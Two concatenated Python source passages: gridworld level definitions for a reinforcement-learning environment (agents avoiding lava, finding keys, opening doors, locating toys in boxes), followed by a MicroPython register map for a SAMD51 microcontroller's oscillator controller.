Level_GoToFavoriteObjInBoxNeg(Level_GoToFavoriteObjInBox): def __init__(self, seed=None): super().__init__(seed=seed, failure_neg=True) class Level_OpenDoorObjInBoxNeg(Level_OpenDoorObjInBox): def __init__(self, seed=None): super().__init__(seed=seed, failure_neg=True) class Level_DangerGoToFavEasy(Level_DangerGoToFav): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=False, anti_danger=False) class Level_DangerOpenDoorEasy(Level_DangerOpenDoor): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=False, anti_danger=False) class Level_DangerOpenDoor1Cross(Level_DangerOpenDoor): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=False, anti_danger=True, n_rivers=1) class Level_DangerOpenDoor2Cross(Level_DangerOpenDoor): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=False, anti_danger=True, n_rivers=2) class Level_DangerGoToFav1Cross(Level_DangerGoToFav): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=False, anti_danger=True, n_rivers=1) class Level_DangerGoToFav2Cross(Level_DangerGoToFav): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=False, anti_danger=True, n_rivers=2) # Combine 3 tasks class Level_DangerGoToFavOpenDoor(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.names = ['jack', 'mary'] super().__init__( num_rows=1, num_cols=3, room_size=room_size, seed=seed ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.room_grid[0][1].door_pos[0] = (12, 5) self.room_grid[0][2].door_pos[2] = (12, 5) #self.add_door(0, 0, door_idx=0, locked=False) #self.add_door(1, 0, door_idx=0, locked=False) # Place obstacles (lava or walls) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_diag(self) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_anti_diag(self, offset=12) if self.call: self.grid.set(2, 1, None) self.agent_pos = (self.room_size, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 # GoToFav self.num_dists = 2 objs = [] obj = create_rnd_obj(self) place_obj(self, 1, self.room_size - 2, obj) objs.append(obj) obj = create_rnd_obj(self) place_obj(self, (self.room_size - 1) * 3 - 1, 1, obj) objs.append(obj) target_obj = self._rand_elem(objs) # OpenDoor colors = COLOR_NAMES[0:3] self.np_random.shuffle(colors) n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) self.locked_doors = [] self.locked_doors.append(add_id_door(self, 0, 0, id=0, door_idx=0, color=colors[0], locked=True)[0]) self.locked_doors.append(add_id_door(self, 1, 0, id=0, door_idx=0, color=colors[1], locked=True)[0]) agent_room_i, agent_room_j = 1, 0 self.np_random.shuffle(colors) add_id_object_abs(self, self.room_size - 1 + 1, self.room_size - 2, id=0, kind='key', color=colors[0]) add_id_object_abs(self, 2 * (self.room_size - 1) - 1, self.room_size - 2, id=1, kind='key', color=colors[1]) self.real_key_color = colors[0] self.instrs = FavoriteInstr(ObjDesc(target_obj.type, target_obj.color), name=self.names[0], surface="avoid danger zone, find the key to open the door, go to {} toy".format(self.names[0]), danger=True) room_id = (target_obj.cur_pos[0] // self.room_size) + (target_obj.cur_pos[1] // self.room_size) * self.num_cols self.useful_answers = ['{} toy is {} {}'.format(self.names[0], target_obj.color, target_obj.type), '{} {} in room{}'.format(target_obj.color, target_obj.type, room_id), 'danger zone is {}'.format(self.lava_colors[1 - self.target_idx]) ] class Level_OpenDoorGoToFavoriteObjInBox(RoomGridLevel): """ Go to an object, the object may be in another room. Many distractors. """ def __init__( self, room_size=5, num_rows=3, num_cols=3, num_dists=3, doors_open=False, seed=None, all_doors=True, num_colors=2, oracle_mode='call' ): self.num_dists = num_dists self.doors_open = doors_open self.num_rows = num_rows self.num_cols = num_cols self.all_doors = all_doors self.num_colors = num_colors self.names = ['jack', 'mary'] self.others_fav = None self.oracle_mode = oracle_mode super().__init__( num_rows=num_rows, num_cols=num_cols, room_size=room_size, seed=seed ) def gen_mission(self): agent_room_i = self._rand_int(0, self.num_cols) agent_room_j = self._rand_int(0, self.num_rows) self.place_agent(agent_room_i, agent_room_j) locked = False if self.all_doors: add_id_door(self, 0, 0, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 1, id=100, door_idx=0, locked=locked) add_id_door(self, 1, 1, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 2, id=100, door_idx=0, locked=locked) add_id_door(self, 1, 2, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 1, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 2, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 0, 1, id=100, door_idx=1, locked=locked) add_id_door(self, 1, 1, id=100, door_idx=1, locked=locked) add_id_door(self, 2, 1, id=100, door_idx=1, locked=locked) else: self.connect_all() if self.doors_open: self.open_all_doors() if self.oracle_mode == 'single_move': oracle = Oracle(color='red') self.place_in_room(agent_room_i, agent_room_j, oracle) self.oracle = oracle # ObjInBox self.n_boxes = 2 colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = BoxOverLap(color=shuffled_colors2[i], contains=ball) room_i, room_j = self.np_random.randint(0, self.num_cols), self._rand_int(0, self.num_rows) while (room_i, room_j) == (agent_room_i, agent_room_j): room_i, room_j = self.np_random.randint(0, self.num_cols), self._rand_int(0, self.num_rows) self.place_in_room(room_i, room_j, box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='Find the key to the door, find ' + self.names[toy_owner] + ' toy', danger=True) room_id = (box.cur_pos[0] // self.room_size) + (box.cur_pos[1] // self.room_size) * self.num_cols # OpenDoor colors = COLOR_NAMES[0:3] n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) for i in range(n_keys): obj, _ = add_id_object(self, agent_room_i, agent_room_j, id=i, kind="key", color=colors[i]) if i == locked_door_id: self.real_key_color = colors[i] self.target_doors = [] locked_room_i, locked_room_j = room_id // 3, room_id % 3 for door in self.room_grid[locked_room_i][locked_room_j].doors: if door is not None: door.is_locked = True door.id = locked_door_id self.target_doors.append(door) class Level_DangerGoToFavObjInBox(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False, anti_danger=True, n_rivers=3): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.names = ['jack', 'mary'] self.anti_danger = anti_danger self.max_n_rivers = n_rivers super().__init__( num_rows=1, num_cols=2, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.add_door(0, 0, door_idx=0, locked=False) # Place obstacles (lava or walls) if self.anti_danger: self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, (self.max_n_rivers + 1)) add_danger_tiles_diag(self) if self.call: self.grid.set(2, 1, None) self.agent_pos = (self.room_size - 1, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 self.open_all_doors() # ObjInBox self.n_boxes = 2 colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = Box(color=shuffled_colors2[i], contains=ball) if i == 0: place_obj(self, 1, self.room_size - 2, box) else: place_obj(self, (self.room_size - 1) * 2 - 1, self.room_size - 2, box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='Avoid danger zone, find ' + self.names[toy_owner] + ' toy', danger=True) class Level_DangerOpenDoorObjInBox(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False, anti_danger=True, n_rivers=3): self.lava_colors = ['yellow', 'blue'] self.names = ['jack', 'mary'] self.n_target = 2 self.agent_start_pos = (2, 1) self.call = call self.failure_neg = failure_neg self.anti_danger = anti_danger self.max_n_rivers = n_rivers super().__init__( num_rows=1, num_cols=3, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.room_grid[0][1].door_pos[0] = (12, 5) door, _ = self.add_door(1, 0, door_idx=0, locked=False) door.is_open = True # Place obstacles (lava or walls) if self.anti_danger: self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_diag(self) self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self, offset=12) self.instrs = GoToGoalInstr(door=True) if self.call: self.grid.set(1, self.room_size - 2, None) self.agent_pos = (1, self.room_size - 2) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 # Open Door Part colors = COLOR_NAMES[0:3] n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) self.locked_door, _ = add_id_door(self, 0, 0, id=locked_door_id, door_idx=0, color=colors[0], locked=True) self.target_doors = [self.locked_door] for i in range(n_keys): obj = KeyWID(i, colors[i]) if i == 0: self.grid.set(self.room_size - 3, 1, obj) elif i == 1: self.grid.set(self.room_size - 2, 2, obj) if i == locked_door_id: self.real_key_color = colors[i] # ObjInBox self.n_boxes = 2 colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = BoxOverLap(color=shuffled_colors2[i], contains=ball) if i == 0: place_obj(self, (self.room_size - 1) * 3 - 1, 1, box) else: place_obj(self, (self.room_size - 1) * 2 - 1, self.room_size - 2, box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='Avoid danger zone, find the key to the door, find ' + self.names[toy_owner] + ' toy', danger=True) # Boss level class Level_Boss(RoomGridLevel): """ Go to an object, the object may be in another room. Many distractors. """ def __init__( self, room_size=7, num_rows=3, num_cols=3, num_dists=3, doors_open=False, seed=None, all_doors=True, num_colors=2, oracle_mode='call' ): self.n_target = 2 self.num_dists = num_dists self.doors_open = doors_open self.num_rows = num_rows self.num_cols = num_cols self.all_doors = all_doors self.num_colors = num_colors self.names = ['jack', 'mary'] self.lava_colors = ['yellow', 'blue'] self.others_fav = None self.oracle_mode = oracle_mode super().__init__( num_rows=num_rows, num_cols=num_cols, room_size=room_size, seed=seed ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) agent_room_i = self._rand_int(0, self.num_cols) agent_room_j = self._rand_int(0, self.num_rows) self.place_agent(agent_room_i, agent_room_j) locked = False if self.all_doors: adjust_door_to_mid(self) add_id_door(self, 0, 0, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 1, id=100, door_idx=0, locked=locked) add_id_door(self, 1, 1, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 2, id=100, door_idx=0, locked=locked) add_id_door(self, 1, 2, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 1, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 2, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 0, 1, id=100, door_idx=1, locked=locked) add_id_door(self, 1, 1, id=100, door_idx=1, locked=locked) add_id_door(self, 2, 1, id=100, door_idx=1, locked=locked) else: self.connect_all() add_danger_tiles_circle(self, i_offset=0, j_offset=0) add_danger_tiles_circle(self, i_offset=6, j_offset=0) add_danger_tiles_circle(self, i_offset=12, j_offset=0) add_danger_tiles_circle(self, i_offset=0, j_offset=6) add_danger_tiles_circle(self, i_offset=6, j_offset=6) add_danger_tiles_circle(self, i_offset=12, j_offset=6) add_danger_tiles_circle(self, i_offset=0, j_offset=12) add_danger_tiles_circle(self, i_offset=6, j_offset=12) add_danger_tiles_circle(self, i_offset=12, j_offset=12) if self.doors_open: self.open_all_doors() if self.oracle_mode == 'single_move': oracle = Oracle(color='red') self.place_in_room(agent_room_i, agent_room_j, oracle) self.oracle = oracle # ObjInBox self.n_boxes = 2 colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = BoxOverLap(color=shuffled_colors2[i], contains=ball) room_i, room_j = self.np_random.randint(0, self.num_cols), self._rand_int(0, self.num_rows) while (room_i, room_j) == (agent_room_i, agent_room_j): room_i, room_j = self.np_random.randint(0, self.num_cols), self._rand_int(0, self.num_rows) self.place_in_room(room_i, room_j, box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='Avoid danger zone, find the key to the door, find ' + self.names[toy_owner] + ' toy', danger=True) room_id = (box.cur_pos[0] // self.room_size) + (box.cur_pos[1] // self.room_size) * self.num_cols # OpenDoor colors = COLOR_NAMES[0:3] n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) for i in range(n_keys): obj, _ = add_id_object(self, agent_room_i, agent_room_j, id=i, kind="key", color=colors[i]) if i == locked_door_id: self.real_key_color = colors[i] self.target_doors = [] locked_room_i, locked_room_j = room_id // 3, room_id % 3 print(self.room_grid[locked_room_i][locked_room_j].doors) for door in self.room_grid[locked_room_i][locked_room_j].doors: if door is not None: door.is_locked = True door.id = locked_door_id self.target_doors.append(door) # Register the levels in this file register_levels(__name__, globals())

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b2745a03fb3d595654d12960f9c89aa235cac074

10,225

py

Python

ATSAMD51P19A/libsrc/ATSAMD51P19A/OSCCTRL_.py

t-ikegami/WioTerminal-CircuitPython

efbdc2e13ad969fe009d88f7ec4b836ca61ae973

[ "MIT" ]

null

ATSAMD51P19A/libsrc/ATSAMD51P19A/OSCCTRL_.py

t-ikegami/WioTerminal-CircuitPython

efbdc2e13ad969fe009d88f7ec4b836ca61ae973

[ "MIT" ]

1

2022-01-19T00:16:02.000Z

2022-01-26T03:43:34.000Z

ATSAMD51P19A/libsrc/ATSAMD51P19A/OSCCTRL_.py

t-ikegami/WioTerminal-CircuitPython

efbdc2e13ad969fe009d88f7ec4b836ca61ae973

[ "MIT" ]

null

import uctypes as ct OSCCTRL_DPLL = { 'DPLLCTRLA' : ( 0x00, { 'reg' : 0x00 | ct.UINT8, 'ENABLE' : 0x00 | ct.BFUINT8 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'RUNSTDBY' : 0x00 | ct.BFUINT8 | 6 << ct.BF_POS | 1 << ct.BF_LEN, 'ONDEMAND' : 0x00 | ct.BFUINT8 | 7 << ct.BF_POS | 1 << ct.BF_LEN, }), 'DPLLRATIO' : ( 0x04, { 'reg' : 0x00 | ct.UINT32, 'LDR' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 13 << ct.BF_LEN, 'LDRFRAC' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 5 << ct.BF_LEN, }), 'DPLLCTRLB' : ( 0x08, { 'reg' : 0x00 | ct.UINT32, 'FILTER' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 4 << ct.BF_LEN, 'WUF' : 0x00 | ct.BFUINT32 | 4 << ct.BF_POS | 1 << ct.BF_LEN, 'REFCLK' : 0x00 | ct.BFUINT32 | 5 << ct.BF_POS | 3 << ct.BF_LEN, 'LTIME' : 0x00 | ct.BFUINT32 | 8 << ct.BF_POS | 3 << ct.BF_LEN, 'LBYPASS' : 0x00 | ct.BFUINT32 | 11 << ct.BF_POS | 1 << ct.BF_LEN, 'DCOFILTER' : 0x00 | ct.BFUINT32 | 12 << ct.BF_POS | 3 << ct.BF_LEN, 'DCOEN' : 0x00 | ct.BFUINT32 | 15 << ct.BF_POS | 1 << ct.BF_LEN, 'DIV' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 11 << ct.BF_LEN, }), 'DPLLSYNCBUSY' : ( 0x0C, { 'reg' : 0x00 | ct.UINT32, 'ENABLE' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLLRATIO' : 0x00 | ct.BFUINT32 | 2 << ct.BF_POS | 1 << ct.BF_LEN, }), 'DPLLSTATUS' : ( 0x10, { 'reg' : 0x00 | ct.UINT32, 'LOCK' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'CLKRDY' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, }), } OSCCTRL_ = { 'EVCTRL' : ( 0x00, { 'reg' : 0x00 | ct.UINT8, 'CFDEO0' : 0x00 | ct.BFUINT8 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'CFDEO1' : 0x00 | ct.BFUINT8 | 1 << ct.BF_POS | 1 << ct.BF_LEN, }), 'INTENCLR' : ( 0x04, { 'reg' : 0x00 | ct.UINT32, 'XOSCRDY0' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCRDY1' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL0' : 0x00 | ct.BFUINT32 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL1' : 0x00 | ct.BFUINT32 | 3 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRDY' : 0x00 | ct.BFUINT32 | 8 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLOOB' : 0x00 | ct.BFUINT32 | 9 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKF' : 0x00 | ct.BFUINT32 | 10 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKC' : 0x00 | ct.BFUINT32 | 11 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRCS' : 0x00 | ct.BFUINT32 | 12 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKR' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKF' : 0x00 | ct.BFUINT32 | 17 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LTO' : 0x00 | ct.BFUINT32 | 18 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LDRTO' : 0x00 | ct.BFUINT32 | 19 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKR' : 0x00 | ct.BFUINT32 | 24 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKF' : 0x00 | ct.BFUINT32 | 25 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LTO' : 0x00 | ct.BFUINT32 | 26 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LDRTO' : 0x00 | ct.BFUINT32 | 27 << ct.BF_POS | 1 << ct.BF_LEN, }), 'INTENSET' : ( 0x08, { 'reg' : 0x00 | ct.UINT32, 'XOSCRDY0' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCRDY1' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL0' : 0x00 | ct.BFUINT32 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL1' : 0x00 | ct.BFUINT32 | 3 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRDY' : 0x00 | ct.BFUINT32 | 8 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLOOB' : 0x00 | ct.BFUINT32 | 9 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKF' : 0x00 | ct.BFUINT32 | 10 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKC' : 0x00 | ct.BFUINT32 | 11 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRCS' : 0x00 | ct.BFUINT32 | 12 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKR' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKF' : 0x00 | ct.BFUINT32 | 17 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LTO' : 0x00 | ct.BFUINT32 | 18 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LDRTO' : 0x00 | ct.BFUINT32 | 19 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKR' : 0x00 | ct.BFUINT32 | 24 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKF' : 0x00 | ct.BFUINT32 | 25 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LTO' : 0x00 | ct.BFUINT32 | 26 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LDRTO' : 0x00 | ct.BFUINT32 | 27 << ct.BF_POS | 1 << ct.BF_LEN, }), 'INTFLAG' : ( 0x0C, { 'reg' : 0x00 | ct.UINT32, 'XOSCRDY0' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCRDY1' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL0' : 0x00 | ct.BFUINT32 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL1' : 0x00 | ct.BFUINT32 | 3 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRDY' : 0x00 | ct.BFUINT32 | 8 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLOOB' : 0x00 | ct.BFUINT32 | 9 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKF' : 0x00 | ct.BFUINT32 | 10 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKC' : 0x00 | ct.BFUINT32 | 11 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRCS' : 0x00 | ct.BFUINT32 | 12 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKR' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKF' : 0x00 | ct.BFUINT32 | 17 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LTO' : 0x00 | ct.BFUINT32 | 18 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LDRTO' : 0x00 | ct.BFUINT32 | 19 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKR' : 0x00 | ct.BFUINT32 | 24 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKF' : 0x00 | ct.BFUINT32 | 25 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LTO' : 0x00 | ct.BFUINT32 | 26 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LDRTO' : 0x00 | ct.BFUINT32 | 27 << ct.BF_POS | 1 << ct.BF_LEN, }), 'STATUS' : ( 0x10, { 'reg' : 0x00 | ct.UINT32, 'XOSCRDY0' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCRDY1' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL0' : 0x00 | ct.BFUINT32 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCFAIL1' : 0x00 | ct.BFUINT32 | 3 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCCKSW0' : 0x00 | ct.BFUINT32 | 4 << ct.BF_POS | 1 << ct.BF_LEN, 'XOSCCKSW1' : 0x00 | ct.BFUINT32 | 5 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRDY' : 0x00 | ct.BFUINT32 | 8 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLOOB' : 0x00 | ct.BFUINT32 | 9 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKF' : 0x00 | ct.BFUINT32 | 10 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLLCKC' : 0x00 | ct.BFUINT32 | 11 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLRCS' : 0x00 | ct.BFUINT32 | 12 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKR' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LCKF' : 0x00 | ct.BFUINT32 | 17 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0TO' : 0x00 | ct.BFUINT32 | 18 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL0LDRTO' : 0x00 | ct.BFUINT32 | 19 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKR' : 0x00 | ct.BFUINT32 | 24 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LCKF' : 0x00 | ct.BFUINT32 | 25 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1TO' : 0x00 | ct.BFUINT32 | 26 << ct.BF_POS | 1 << ct.BF_LEN, 'DPLL1LDRTO' : 0x00 | ct.BFUINT32 | 27 << ct.BF_POS | 1 << ct.BF_LEN, }), 'XOSCCTRL' : ( 0x14 | ct.ARRAY, 2, { 'reg' : 0x00 | ct.UINT32, 'ENABLE' : 0x00 | ct.BFUINT32 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'XTALEN' : 0x00 | ct.BFUINT32 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'RUNSTDBY' : 0x00 | ct.BFUINT32 | 6 << ct.BF_POS | 1 << ct.BF_LEN, 'ONDEMAND' : 0x00 | ct.BFUINT32 | 7 << ct.BF_POS | 1 << ct.BF_LEN, 'LOWBUFGAIN' : 0x00 | ct.BFUINT32 | 8 << ct.BF_POS | 1 << ct.BF_LEN, 'IPTAT' : 0x00 | ct.BFUINT32 | 9 << ct.BF_POS | 2 << ct.BF_LEN, 'IMULT' : 0x00 | ct.BFUINT32 | 11 << ct.BF_POS | 4 << ct.BF_LEN, 'ENALC' : 0x00 | ct.BFUINT32 | 15 << ct.BF_POS | 1 << ct.BF_LEN, 'CFDEN' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 1 << ct.BF_LEN, 'SWBEN' : 0x00 | ct.BFUINT32 | 17 << ct.BF_POS | 1 << ct.BF_LEN, 'STARTUP' : 0x00 | ct.BFUINT32 | 20 << ct.BF_POS | 4 << ct.BF_LEN, 'CFDPRESC' : 0x00 | ct.BFUINT32 | 24 << ct.BF_POS | 4 << ct.BF_LEN, }), 'DFLLCTRLA' : ( 0x1C, { 'reg' : 0x00 | ct.UINT8, 'ENABLE' : 0x00 | ct.BFUINT8 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'RUNSTDBY' : 0x00 | ct.BFUINT8 | 6 << ct.BF_POS | 1 << ct.BF_LEN, 'ONDEMAND' : 0x00 | ct.BFUINT8 | 7 << ct.BF_POS | 1 << ct.BF_LEN, }), 'DFLLCTRLB' : ( 0x20, { 'reg' : 0x00 | ct.UINT8, 'MODE' : 0x00 | ct.BFUINT8 | 0 << ct.BF_POS | 1 << ct.BF_LEN, 'STABLE' : 0x00 | ct.BFUINT8 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'LLAW' : 0x00 | ct.BFUINT8 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'USBCRM' : 0x00 | ct.BFUINT8 | 3 << ct.BF_POS | 1 << ct.BF_LEN, 'CCDIS' : 0x00 | ct.BFUINT8 | 4 << ct.BF_POS | 1 << ct.BF_LEN, 'QLDIS' : 0x00 | ct.BFUINT8 | 5 << ct.BF_POS | 1 << ct.BF_LEN, 